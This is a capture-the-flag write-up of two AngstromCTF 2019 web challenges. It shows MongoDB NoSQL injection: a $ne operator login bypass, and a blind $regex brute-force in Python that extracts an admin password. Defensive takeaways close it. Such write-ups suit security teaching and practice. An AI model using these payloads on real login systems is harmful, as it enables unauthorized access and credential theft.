AngstromCTF 2019 — No SEQUELS & No SEQUELS 2
MongoDB authentication bypass using NoSQL injection ($ne operator) and blind injection with $regex to extract the admin password character by character.
Two related challenges from AngstromCTF 2019 — both exploiting MongoDB’s query operators for NoSQL injection.
No SEQUELS 1 — Authentication Bypass
Category: Web | Points: 50
Challenge Description
The prequels sucked, and the sequels aren’t much better, but at least we always have the original trilogy. Hint: MongoDB is a safer alternative to SQL, right?
Analysis
The application used MongoDB for authentication. We were given the source code:

The body parser accepted JSON (Content-Type: application/json), meaning we could inject MongoDB query operators.
var user = req.body.username;
var pass = req.body.password;
Exploitation
By sending JSON with $ne (not-equal) operators, we bypass authentication:
POST /login HTTP/1.1
Content-Type: application/json
{
"username": {"$ne": null},
"password": {"$ne": null}
}
This makes MongoDB return the first user in the collection, granting access.
Python Exploit
import requests
import re
URL = "https://nosequels.2019.chall.actf.co/login"
session = requests.Session()
# Get initial token
jwt_token_re = re.compile(r"token=(.*);")
token_req = session.get(URL)
cookies = {}
if token_req.status_code == 200:
m = re.search(jwt_token_re, token_req.headers["Set-Cookie"])
if m:
cookies["token"] = str(m.group(1))
# Send NoSQL injection payload
payload = {"username": {"$ne": None}, "password": {"$ne": None}}
req = session.post(URL, json=payload, cookies=cookies, verify=False)
flag_re = re.compile(r"actf{.*}")
m = re.search(flag_re, req.text)
if m:
print("FLAG:", m.group(0))
Flag: actf{no_sql_doesn't_mean_no_vuln}
No SEQUELS 2 — Blind NoSQL Injection
Points: 120
Challenge Description
After authentication, the /site page requires the admin password — no more database queries allowed. We need to extract it blindly.

Strategy
Use $regex with ^char.* pattern to brute-force the password one character at a time. A 302 redirect means the character is correct.
import requests
import string
import re
session = requests.Session()
URL = "https://nosequels.2019.chall.actf.co/login"
# Get initial token
jwt_token_re = re.compile(r"token=(.*);")
dummy = session.get(URL)
cookies = {}
m = re.search(jwt_token_re, dummy.headers["Set-Cookie"])
if m:
cookies["token"] = str(m.group(1))
# Blind brute-force
charset = string.ascii_letters + string.digits + "!@#$%^()@_{}"
password = ""
found = True
while found:
found = False
for char in charset:
test = password + char
payload = {
"username": {"$eq": "admin"},
"password": {"$regex": f"^{test}.*"}
}
req = session.post(URL, verify=False, cookies=cookies,
json=payload, allow_redirects=False)
if req.status_code == 302:
password = test
found = True
print(f"[+] Password so far: {password}")
m = re.search(jwt_token_re, req.headers.get("Set-Cookie", ""))
if m:
cookies["token"] = str(m.group(1))
if len(password) == 14:
found = False
break
print(f"[+] Admin password: {password}")
Flag: actf{still_no_sql_in_the_sequel}
Key Takeaways
- NoSQL databases are not immune to injection — operators like
$ne,$gt,$regexcan be weaponized - Always sanitize and type-check user input before passing to database queries
- Use
express-mongo-sanitizeor similar middleware to strip$prefixes from user input